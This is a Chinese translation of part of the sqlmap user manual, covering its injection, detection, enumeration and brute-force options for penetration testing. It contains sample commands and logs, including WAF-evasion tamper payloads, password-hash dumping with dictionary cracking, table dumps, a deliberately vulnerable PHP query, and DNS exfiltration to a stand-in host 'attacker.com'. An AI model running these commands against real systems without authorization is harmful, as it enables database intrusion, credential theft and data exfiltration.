当数据是通过 SQL 盲注技术,或者使用暴力破解相关开关获取时,可以运用这个特性。对于 SQL 盲注技术,sqlmap 首先在单线程中计算出查询目标的长度,然后启用多线程特性,为每一个线程分配查询的一个字符。当该字符被成功获取后,线程会结束并退出——结合 sqlmap 中实现的折半算法,每个线程最多发起 7 次 HTTP(S) 请求。

考虑运行性能和目标站点的可靠性因素,sqlmap 最大的并发请求数只能设置到 10

值得注意的是,这个选项不能跟 --predict-output 一起使用。

注入

译自:Injection

以下选项用于指定需要测试的参数、提供自定义注入 payloads 和可选篡改脚本。

可测试参数

选项:-p--skip--param-exclude

默认情况下 sqlmap 会测试所有 GET 参数和 POST 参数。当 --level 的值 >= 2,它还会测试 HTTP Cookie 头部值。当这个值 >= 3 时,它还会测试 HTTP User-Agent 和 HTTP Referer 头部值。而且还可以手动指定一个需要 sqlmap 进行测试的、使用逗号分隔的参数列表。这会使 sqlmap 忽略 --level 的设置。

例如,只需要测试 GET 参数 id 和 HTTP User-Agent 时,则提供 -p "id,user-agent"

如果用户想要排除测试某些参数,可以使用选项 --skip。如果需要使用高级别 --level 值,并指定部分可用参数(排除通常被测试的 HTTP 头)时,这个选项非常有用。

例如,要在 --level=5 跳过测试 HTTP User-Agent 和 HTTP Referer,可以提供 --skip="user-agent,referer"

还可以基于正则表达式针对参数名称来排除对某些参数的测试。在这种情况下,用户可以使用选项 --param-exclude

例如,要跳过对名称中包含 tokensession 的参数测试,可以提供 --param-exclude="token|session"

URI 注入点

有一些特殊情况是注入点处于 URI 本身内。除非手动指定,sqlmap 不会对 URI 路径执行任何自动测试。你需要在命令行中标明这些注入点,通过在每个需要 sqlmap 测试和利用 SQL 注入的 URI 点后面附加一个星号(*)(注意:也支持 Havij 风格 %INJECT HERE%)。

例如,当使用了 Apache Web 服务器的 mod_rewrite 模块或其他类似的技术时,这特别有用。

一个有效的命令行例子如下:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

任意注入点

与 URI 注入点类似,星号(*)(注意:同时支持 Havij 风格 %INJECT HERE%)也可以用于指向 GET,POST 或 HTTP 头部中的任意注入点。可以在选项 -u 中标注 GET 的参数值,在选项 --data 中标注 POST 的参数值,在选项 -H 中标注 HTTP 头部值如 --headers--user-agent--referer--cookie,或者标注从文件加载的 HTTP 请求中的通用位置,用于指定相应的注入点。

一个有效的命令行例子如下:

python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

指定 DBMS(Database Management System,数据库管理系统)类型

选项:--dbms

默认情况下 sqlmap 会自动检测 Web 应用程序的后端 DBMS。sqlmap 完全支持以下 DBMS:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB
  • Informix
  • MariaDB
  • Percona
  • MemSQL
  • TiDB
  • CockroachDB
  • HSQLDB
  • H2
  • MonetDB
  • Apache Derby
  • Amazon Redshift
  • Vertica
  • Mckoi
  • Presto
  • Altibase
  • MimerSQL
  • CrateDB
  • Greenplum
  • Drizzle
  • Apache Ignite
  • Cubrid
  • InterSystems Cache
  • IRIS
  • eXtremeDB
  • FrontBase

如果由于某些原因 sqlmap 已经识别出 SQL 注入却无法检测到后端 DBMS 类型,或者你想避免执行指纹信息收集,可以自己提供后端 DBMS 的名称(例如:postgresql)。对于 MySQL 和 Microsoft SQL Server 分别以 MySQL <version>Microsoft SQL Server <version> 的形式提供,其中 <version> 是指 DBMS 的有效版本;例如 MySQL 为 5.0,Microsoft SQL Server 为 2005

如果你同时使用 --dbms--fingerprint,sqlmap 将只对指定的 DBMS 执行详细的指纹收集,更详细的信息请阅读下文。

注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 时使用它。如果你不知道,就让 sqlmap 自动为你识别指纹信息。

指定 DBMS 操作系统名称

选项:--os

默认情况下,当此信息是任何开关或选项的依赖时,sqlmap 会自动检测 Web 应用程序后端 DBMS 的底层操作系统信息。 目前完全支持的操作系统有:

  • Linux
  • Windows

你可以强制指定已知的操作系统类型,这样 sqlmap 将避免对该信息进行检测。

注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 底层操作系统时使用它。如果你不知道,就让 sqlmap 自动为你识别。

强制使用大数来使参数值无效

开关:--invalid-bignum

在 sqlmap 需要使原参数值无效(例如:id=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用大整数值来达到一样的效果(例如:id=99999999)。

强制使用逻辑运算使参数值无效

开关:--invalid-logical

在 sqlmap 需要使原参数值无效(例如:id=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用布尔运算来达到一样的效果(例如:id=13 AND 18=19)。

强制使用随机字符串使参数值无效

开关:--invalid-string

在 sqlmap 需要使原始参数值无效(例如:id=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用随机字符串来达到一样的效果(例如:id=akewmc)。

关闭 payload 构造机制

开关:--no-cast

返回生成结果时,sqlmap 会将所有条目都转换为字符串类型,并使用空格字符替换 NULL 值。这样做是为了避免任何错误的状态(例如:使用字符串连接 NULL 值)并简化数据检索过程本身。然而,根据报告有些情形(例如:MySQL DBMS 的旧版本)由于数据检索本身存在问题(例如:返回了 None 值),需要关闭此机制(使用此开关)。

关闭字符串转义机制

开关:--no-escape

在 sqlmap 需要使用(单引号分隔的)payloads 里的字符串(例如:SELECT 'foobar')的情况下,这些值将被自动转义(例如:SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)(译者注:该例语法适用于 Microsoft SQL Server))。这么做有两个原因:对 payload 内容进行模糊处理,还有防止后端服务器上潜在的查询转义机制(例如:magic_quotes 和/或 mysql_real_escape_string)。用户可以使用此开关将其关闭(例如:需要减小 payload 的大小时)。

自定义注入 payload

选项:--prefix--suffix

在某些情况下,仅当用户提供附加到注入 payload 的特定后缀时,才能利用易受攻击的参数。另外,当用户已经知道查询语法并希望通过直接提供注入 payload 前缀和后缀来检测利用 SQL 注入时,这些选项对这种场景会很方便。

漏洞源代码示例:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

要检测并利用此 SQL 注入,您可以让 sqlmap 在检测阶段检测边界(与 SQL payload 前缀和后缀组合),或者自己提供。

例如:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

这将使所有 sqlmap 请求最终构成以下查询:

query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

以使查询语法正确。

在这个简单的例子中,sqlmap 可以检测 SQL 注入并利用它,而不需要提供自定义的边界,但有时在真实情况中的应用程序,当注入点存在于嵌套的 JOIN 查询中时,需要提供它。

修改注入数据

选项:--tamper

sqlmap 本身不会混淆发送的 payload,除了将单引号之间的字符串用诸如 CHAR() 进行替换。

如果后端 DBMS 与用户输入内容存在较弱验证机制的情况下,此选项会非常有用。这种验证机制通常是由应用程序源代码调用自行开发的输入验证例程,如昂贵的企业级 IPS 设备或 Web 应用程序防火墙(WAF)。一言蔽之,它们通常以不同的方式实现并且需要花费大量资金。

要利用此选项,需要为 sqlmap 提供逗号分隔的修改脚本列表,这将处理 payload 并返回转换结果。你可以定义自己的修改脚本,编辑使用 sqlmap tamper/ 文件夹中的脚本,并使用逗号分隔连接它们作为 --tamper 选项的值(例如:--tamper="between,randomcase")。

合法的修改脚本格式如下:

Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

你可以在 tamper/ 目录中查看有效和可用的修改脚本。

针对 MySQL 目标,假定字符 >、空格和大写的 SELECT 字符串被禁止:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable
[...]

检测

译自:Detection

下面的相关选项可用于自定义检测环节。

级别

选项:--level

使用这个选项需要给出一个参数用于指定即将进行检测的级别。总共有个级别。默认的级别是 1,该级别只会进行简单的检测(请求)。与之不同的是,级别 5 会更详细地对更大范围 payloads 和 boundaries(作为 SQL payload 的前缀和后缀)进行检测。sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的 payload 用于检测。

这个选项设置不止会影响 sqlmap 使用的 payload,还会影响到相关的测试注入点:总是测试 GET 和 POST 的相关参数,级别大于等于 2 则会测试 HTTP Cookie 头部,级别大于等于 3 则会测试 HTTP UserAgent/Referer 头部值。

总而言之, 如果 SQL 注入检测的难度越高,则需要设定越高的 --level 值。

强烈建议在向 sqlmap 邮件列表反馈 sqlmap 无法检测到特定类型的注入之前,尝试设定一个更高的 --level 值用于检测。

风险

选项:--risk

这个选项需要给出一个参数用于指定即将进行检测的风险程度。总共有个风险级别。默认的级别是 1,对大多数 SQL 注入点而言是没有任何风险的。风险级别 2 则会在默认的检测上添加大量时间型盲注(Time-based blind)语句测试,级别 3 则会在原基础上添加OR 类型的布尔型盲注(Boolean-based blind)测试。

在某些场景下,例如对 UPDATE 语句进行 SQL 注入,注入一个 OR 类型的 payload 会导致目标数据表的所有记录进行更新,显然这个不是攻击者想要的结果。针对这个场景及其他相关场景,sqlmap 引入了 --risk 这个选项。通过这个选项:用户可以指定检测特定的 payload,同时用户可任意选择使用可能比较危险的操作。正如上面的选项提及到的,sqlmap 使用的 payloads 是直接在文本文件 xml/payloads.xml 载入的,该文件支持用户自定义编辑添加。

页面对比

选线:--string--not-string--regexp--code

默认区分一个 True 查询和 False 查询(布尔型盲注背后的相关理念概念)是通过对比注入前后返回的结果页面是否一致进行判断的。

不过这个参照方法并不一定有效,因为可能就算没有进行注入,页面内容也会进行相应更新。例如:页面上有计数器、动态的广告横幅、或者任何基于时间而非用户输入内容进行动态渲染的内容。为了避免类似的情况,sqlmap 会尽可能尝试识别出对应的代码段所返回的请求内容并做好相关的处理。有时候,可能无法正确处理该情况,这也是为什么 sqlmap 允许用户提供一个字符串(--string 选项),这个字符串需要出现在原页面(这个并不是强制规定)所有查询结果为 True 的页面查询中,并且出现在查询结果为 False 的页面。除了提供静态的字符串外,用户可以提供正则表达式(--regexp 选项)用于匹配。此外,用户可以提供一个字符串(--not-string 选项),该字符串能出现在原页面或者所有查询结果为 True 的页面,而总是出现在查询结果为 False 的页面。

通过对相关的参数注入非法值并手动对比原页面(未经过注入)和注入结果页面的不同,就可以轻易地得到目标字符串。通过这种方式的定义,页面不同的判定则会是基于用户指定的字符串或者正则表达式的匹配。

如果用户知道可以通过 HTTP 状态码区分 True 查询和 False 查询(例如:200 对应 True401 对应 False),那么可以向 sqlmap 提供对应的信息。(例如:--code=200)。

开关:--text-only--titles

如果用户知道可以通过 HTML 标题区分 True 查询和 False 查询(例如:Welcome 对应 TrueForbidden 对应 False),那么可以使用 --titles 开启基于标题对比的开关。

如果 HTTP 响应报文中存在无效信息(例如:脚本、嵌套元素等),可以通过过滤页面的内容(开关 --text-only)而只获取文本内容。通过这种方式,大多数情况下,这样会自动调优检测引擎。

技术

译自:Techniques

以下选项可用于调整对特定 SQL 注入技术的测试。

测试会用到的 SQL 注入技术

选项:--technique

此选项用于指定需要测试的 SQL 注入类型。默认情况下 sqlmap 会测试它支持的所有类型/技术。

在某些情况下,你可能只想测试一种或几种特定类型的 SQL 注入,这便是该选项存在的作用。

此选项需要一个参数值。该参数是由 BEUSTQ 这样的字符任意组合成的字符串,每个字母代表不同的技术:

  • B:布尔型盲注(Boolean-based blind)
  • E:报错型注入(Error-based)
  • U:联合查询注入(UNION query-based)
  • S:堆叠查询注入(Stacked queries)
  • T:时间型盲注(Time-based blind)
  • Q:内联查询注入(inline Query)

例如,如果仅测试利用报错型注入和堆叠查询注入,你可以提供 ES。默认值为 BEUSTQ

注意,当你需要访问文件系统,接管操作系统或访问 Windows 注册表配置单元时,提供的字符串必须包含代表堆叠查询技术的字母 S

设置时间型盲注中 DBMS(Database Management System,数据库管理系统)延迟响应秒数

选项:--time-sec

--time-sec 提供一个整数,可以设置时间型盲注响应的延迟时间。默认情况下,它的值为 5 秒

指定联合查询注入中的列数

选项:--union-cols

默认情况下,sqlmap 进行联合查询注入时使用 1 到 10 列。当然,可以通过提供更高的--level 值将该范围增加到最多 50 列。有关详细信息,请参阅相关段落。

你可以手动指定选项 --union-cols 和相应的数字范围,以针对该类型的 SQL 注入测试特定范围的列。例如,12-16 代表进行 12 到 16 列的联合查询注入测试。

用于测试联合查询注入的字符

选项:--union-char

默认情况下,sqlmap 测试联合查询注入会使用 NULL 字符。然而,通过提供更高的--level 值,sqlmap 将执行一个随机数字的测试,因为存在少数情况,使用 NULL 的联合查询注入会失败,而使用随机整数会成功。

你可以手动提供选项 --union-char 和所需的数字(例如:--union-char 123)来测试该类型的 SQL 注入。

联合查询注入中 FROM 子句中使用的表

选项:--union-from

在部分联合查询注入中,需要在 FROM 子句中强制指定使用有效且可访问的表名。例如,Microsoft Access 就要求使用这样的表。如果不提供一个这样的表,联合查询注入将无法正常执行(例如:--union-from=users)。

DNS 渗出攻击

选项:--dns-domain

DNS 渗出 SQL 注入攻击在文章 Data Retrieval over DNS in SQL Injection Attacks(译者注:乌云知识库有该文章的翻译,在 SQL 注入中使用 DNS 获取数据)中进行了介绍,而 sqlmap 中的实现方式可以在幻灯片 使用 sqlmap 进行 DNS 渗出攻击 中找到。

如果用户正控制着一台注册为 DNS 域名服务器的主机(例如:域名 attacker.com),则可以使用该选项(例如:--dns-domain attacker.com)来启用此攻击。它的前提条件是使用 Administrator(即管理员)权限(因为需要使用特权端口 53)运行 sqlmap,这时可以使用常用的(盲注)技术来进行攻击。如果已经识别出一种有效攻击方式(最好是时间型盲注),则这种攻击能够加速获取数据的过程。如果报错型注入或联合查询注入技术可用,则默认情况下将跳过 DNS 渗出攻击测试。

二阶注入攻击

选项:--second-url--second-req

当攻击一个存在漏洞的页面,它的 payload 注入结果显示(反射)在另一个页面(例如:frame)中,这种攻击就叫 SQL 二阶注入攻击。通常情况是用户在存在漏洞的页面输入内容存储到数据库而导致的漏洞。

你可以使用选项 --second-url 加上结果显示页面的 URL 地址,或者使用 --second-req 加上相应的请求文件路径,以此来测试此类型的 SQL 注入。

指纹识别

译自:Fingerprint

进行广泛的 DBMS(Database Management System,数据库管理系统)指纹识别

开关: -f--fingerprint

默认 sqlmap 会自动帮你识别 Web 应用后端 DBMS 的相关信息。在检测阶段结束并提醒用户进一步选择检测可注入参数的时候,sqlmap 会自动识别后端 DBMS 信息,并根据特定的数据库架构采用合适的 SQL 语法、方言和相关查询,进行进一步的攻击测试。

如果你想采用特定 SQL 方言或者内带特定错误信息等技术展开详细的 DBMS 指纹识别,可以提供 --fingerprint 开关。这样,sqlmap 则会发起更多的请求,并对DBMS 版本,甚至是操作系统、系统架构和补丁级别信息等方面展开指纹收集。

如果你想要更加精准的指纹识别结果,可以提供开关 -b 或者 --banner

枚举

译自:Enumeration

以下选项可用于枚举后端 DBMS(Database Management System,数据库管理系统)信息、表结构和表中包含的数据。此外,你还可以运行自定义的SQL 语句。

获取全部数据

开关:--all

当用户想要通过使用单个开关远程获取所有可访问数据信息,可以使用该开关。通常不建议这么做,因为它会产生大量的请求同时获取有用无用的数据。

标语(Banner)

开关:-b--banner

大多数现代 DBMS 具有一个函数和/或一个环境变量,它会返回 DBMS 版本,并最终在其补丁级别详细介绍底层系统。通常这个函数是 version() ,环境变量是 @@version,这取决于目标 DBMS。

针对 Oracle 目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

当前会话用户

开关:--current-user

使用此开关,可以从 Web 应用程序中获取到当前正在执行相关数据库查询操作的 DBMS 用户。

当前数据库

开关:--current-db

使用此开关可以获取 Web 应用程序连接到的 DBMS 数据库名称。

服务器主机名

开关:--hostname

使用此开关可以获取 DBMS 所在的主机名。

针对 MySQL 目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

检测当前会话用户是否为数据库管理员

开关:--is-dba

可以检测当前 DBMS 会话用户是否为数据库管理员,也称为 DBA。如果是,sqlmap 将返回 True,否则返回 False

列出 DBMS 所有用户

开关:--users

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,可以枚举用户列表。

列出和破解 DBMS 用户的密码哈希

开关:--passwords

如果当前会话用户对包含 DBMS 用户密码信息的系统表有读取权限,则可以枚举每个 DBMS 用户的密码哈希值。sqlmap 将会枚举所有用户,及一一对应的用户密码哈希。

针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

以上例子中,sqlmap 不仅枚举了 DBMS 用户及其密码,而且识别出密码哈希格式属于PostgreSQL,并询问用户是否使用字典文件进行散列测试,并识别出了用户 postgres 的明文密码,它通常是 DBA,被识别出的还有用户 testuser 的密码。

对于可以枚举用户密码哈希的 DBMS 都已实现了此功能,包括 Oracle 和 Microsoft SQL Server 2005 及后续版本。

你还可以使用 -U 选项来指定要枚举的特定用户,并破解其对应密码哈希。如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的密码哈希值。

列出 DBMS 所有用户权限

开关:--privileges

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的权限。根据权限信息,sqlmap 还将显示出哪些是数据库管理员。

你还可以使用 -U 选项来指定要枚举出权限的用户。

如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的权限信息。

在 Microsoft SQL Server 中,此功能将显示每个用户是否为数据库管理员,而不是所有用户的权限列表。

列出 DBMS 所有用户角色

开关:--roles

如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的角色。

你还可以使用 -U 选项来指定要枚举出角色的用户。

如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的角色信息。

此功能仅在 DBMS 为 Oracle 时可用。

列出 DBMS 所有数据库

开关:--dbs

如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限,则可以枚举出当前数据库列表。

枚举数据表

开关和选项:--tables--exclude-sysdbs-D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定 DBMS 的数据表。

如果你不使用选项 -D 来指定数据库,则 sqlmap 将枚举所有 DBMS 数据库的表。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。

注意,对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库名称。

枚举数据表的列名

开关和选项:--columns-C-T-D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定数据表的列名。sqlmap 还将枚举所有列的数据类型。

此功能可使用选项 -T 来指定表名,还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称,将使用当前的数据库名称。你还可以使用选项 -C 来指定要枚举的表列名。

针对 SQLite 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

注意,对于 PostgreSQL,你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public 为别名。

枚举 DBMS 模式

开关:--schema--exclude-sysdbs

用户可以使用此开关获取 DBMS 模式。模式列表将包含所有数据库、表和列以及它们各自的类型。结合 --exclude-sysdbs,只有包含非系统数据库的模式才会被获取并显示出来。

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

获取数据表的数据条目数

开关:--count

如果用户想要在导出所需表数据之前知道表中的条目数,可以使用此开关。

针对 Microsoft SQL Server 目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

导出数据表条目

开关和选项:--dump-C-T-D--start--stop--first--last--pivot-column--where

如果当前会话用户对特定的数据表有读取权限,则可以导出数据表条目。

此功能依赖选项 -T 来指定表名,还可以用选项 -D 来指定数据库名称。如果提供了表名而不提供数据库名,则会使用当前的数据库。

针对 Firebird 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关也可用于导出指定数据库数据表的所有条目。你只需要提供开关 --dump 和选项 -D(不提供 -T-C)。

你还可以使用选项 -C 提供一个以逗号分隔的特定列名列表来导出数据。

sqlmap 还能会为每个表生成相应的 CSV 格式文本文件用于存储导出的数据。你可以通过提供大于或等于 1 的详细程度级别来查看 sqlmap 所创建文件的绝对路径。

如果只是想导出特定范围的条目,可以提供选项 --start 和/或 --stop,以指定要从哪条数据开始导出和在哪条数据停止。例如,如果仅导出第一个条目,就在命令行中提供 --stop 1。或者如果你只想导出第二和第三个条目,就提供 --start 1 --stop 3

还可以使用选项 --first--last 指定要导出的单个字符或特定范围的字符。例如,如果要导出条目的第三到第五个字符,就提供 --first 3 --last 5。此功能仅适用于盲注技术,因为报错型注入(Error-based)和联合查询注入(UNION query-based)技术不管列数据条目的长度如何,发起的请求数量是完全相同的。

有些情况下(例如:对于 Microsoft SQL Server,Sybase 和 SAP MaxDB),由于缺少类似的机制,无法使用 OFFSET m, n 直接导出表的数据。在这种情况下,sqlmap 通过确定最适合的 pivot 列(具有唯一值的列,一般是主键),并使用该列检索其他列值,以此来导出数据。如果因为自动选择的 pivot 列不适用(例如:由于缺少表导出结果)而需要强制使用特定列,你可以使用选项 --pivot-column(例如: --pivot-column=id)。

如果要约束导出特定的列值(或范围),可以使用选项 --where。提供的逻辑运算将自动在 WHERE 子句内使用。例如,如果使用 --where="id>3",那么只有 id 值大于 3 的行会被获取(通过将 WHERE id>3 附加到使用的查询语句中)。

正如你可能已经注意到的,sqlmap 非常灵活:你可以将让其自动导出整个数据库表,或者非常精确地导出特定字符、列和范围的条目。

导出所有数据表条目

开关:--dump-all--exclude-sysdbs

如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。在这种情况下,sqlmap 只会导出当前用户的数据库表条目。

注意,对于 Microsoft SQL Server,master 数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

搜索列,表或数据库

开关和选项:--search-C-T-D

此开关允许你在所有数据库中搜索特定的数据库名和表名,在特定的数据表中搜索特定的列名

这非常有用,例如,要识别包含应用程序凭据的表,其中相关列的名称包含诸如 namepass 这样的字符串。

开关 --search 需要与以下支持选项一起使用:

  • -C,附带以逗号分隔的列名列表来搜索整个 DBMS。
  • -T,附带以逗号分隔的表名列表来搜索整个 DBMS。
  • -D,附带以逗号分隔的数据库名列表来搜索整个 DBMS。

运行自定义 SQL 语句

选项和开关:--sql-query--sql-shell

SQL 查询和 SQL shell 功能允许在 DBMS 上运行任意 SQL 语句。sqlmap 会自动解析提供的语句,确定哪种技术适合用于注入它,以及如何打包相应的 SQL payload。

如果查询是 SELECT 语句,sqlmap 将获取其输出。否则,如果 Web 应用程序的后端 DBMS 支持多语句,它将通过堆叠查询注入(Stacked queries)技术执行查询。注意,某些 Web 应用程序技术不支持特定 DBMS 上的堆叠查询。例如,当后端 DBMS 是 MySQL 时,PHP 不支持堆叠查询,但是当后端 DBMS 是 PostgreSQL 时,它是支持的。

针对 Microsoft SQL Server 2000 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo','bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

如你所见,sqlmap 将提供的查询分解为两个不同的 SELECT 语句,然后单独获取每个查询的输出。

如果提供的查询是一个 SELECT 语句并包含一个 FROM 子句,sqlmap 会询问你是否可以返回多个条目。在这种情况下,它知道如何解析返回的结果,逐条计算指定的条目数量,并给出相关输出。

SQL shell 选项允许你以交互方式运行自己的 SQL 语句,就像直接连接到 DBMS 的 SQL 控制台。此功能还提供 TAB 补全和输入历史支持。

暴力破解

译自:Brute force

以下开关可用于暴力破解检查。

暴力破解表名

开关:--common-tables

在某些场景下,开关 --tables 并不能用于获取数据库中表的名称。这样的场景通常会在如下情况下发生:

  • DBMS(Database Management System,数据库管理系统)是 < 5.0 版本的 MySQL,它们不具备 information_schema
  • DBMS 是微软的 Access 数据库,并且其中的系统表 MSysObjects 默认设置不可读。
  • 当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。

